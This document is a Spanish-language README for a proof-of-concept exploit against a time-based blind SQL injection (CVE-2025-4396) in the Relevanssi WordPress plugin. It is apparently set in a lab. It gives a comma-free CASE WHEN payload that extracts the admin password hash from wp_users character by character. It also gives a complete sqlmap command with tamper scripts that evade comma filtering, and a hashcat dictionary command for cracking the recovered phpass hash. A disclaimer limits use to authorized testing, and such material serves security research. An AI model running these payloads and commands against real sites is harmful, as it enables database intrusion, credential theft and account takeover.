CVE-2025-4396 — Inyección SQL en Relevanssi (Ciega Basada en Tiempo)
Descargo de responsabilidad: Este repositorio está destinado únicamente a pruebas de penetración autorizadas, investigación de seguridad y fines educativos. El acceso no autorizado a sistemas informáticos es ilegal y poco ético.
Resumen
Un exploit de prueba de concepto para una vulnerabilidad de inyección SQL ciega basada en tiempo en el plugin Relevanssi 4.24.4 de WordPress. Esta implementación está diseñada específicamente para entornos endurecidos donde:
- Las comas son filtradas — rompiendo la sintaxis estándar
SUBSTR(str, pos, len) e IF(cond, true, false)
- Se produce un comportamiento de sleep voraz — lo que hace que MySQL ejecute
SLEEP() antes de evaluar la expresión completa, produciendo falsos positivos
Antecedentes
En ciertos entornos (p. ej., el laboratorio DVWP), las cargas útiles (payloads) estándar de inyección SQL fallan por dos razones clave:
| Problema | Efecto |
|---|
| Eliminación de comas | Rompe SUBSTR(str, pos, len) e IF(cond, true, false) |
SLEEP() codicioso | MySQL ejecuta el sleep antes de la expresión booleana completa, causando falsos positivos |
Ambos problemas requieren soluciones específicas, cubiertas por los enfoques manual y automatizado que se presentan a continuación.
Exploit manual (asy.py)
Un script asíncrono de Python que permite una extracción quirúrgica carácter por carácter. Evita la sobrecarga de las herramientas automatizadas y omite el filtrado de comas mediante la lógica CASE WHEN.
Características
| Característica | Implementación |
|---|
| E/S asíncrona | aiohttp para solicitudes no bloqueantes |
Lógica de inyección principal
# Comma-less, CASE WHEN-based time-based payload
condition = f"ASCII(SUBSTR((SELECT user_pass FROM wp_users WHERE ID=1) FROM {pos} FOR 1))>{mid}"
injection = f"1*(SELECT CASE WHEN ({condition}) THEN SLEEP(3) ELSE 1 END)"
¿Por qué CASE WHEN en lugar de IF()?
IF() usa comas y está sujeto a una evaluación codiciosa. CASE WHEN evalúa de forma diferida, asegurando que SLEEP() solo se dispare cuando la condición sea realmente TRUE.
Exploit automatizado (SQLMap)
SQLMap puede automatizar el descubrimiento en este entorno utilizando scripts tamper y flags específicos.
Comando
python3 sqlmap.py -u "http://localhost:31337/?s=test&cats=1*" \
--tamper=commalessmid,if2case,between \
--technique=T \
--dbms=MySQL \
--no-cast \
--batch \
--threads=1 \
--dbs
Referencia de Flags
Nota sobre --threads=1: Esto es esencial para una extracción fiable. El uso de varios hilos provoca que los retardos de sleep se superpongan, corrompiendo la sincronización de la búsqueda binaria y produciendo una salida distorsionada.
Hallazgos de laboratorio
| Campo | Valor |
|---|
| Objetivo | Tabla de WordPress |
Rompiendo el hash
hashcat -m 400 -a 0 hash.txt /usr/share/wordlists/rockyou.txt
- El modo
-m 400 apunta a los hashes phpass
- El ataque
-a 0 es un ataque de diccionario directo con rockyou.txt
Referencias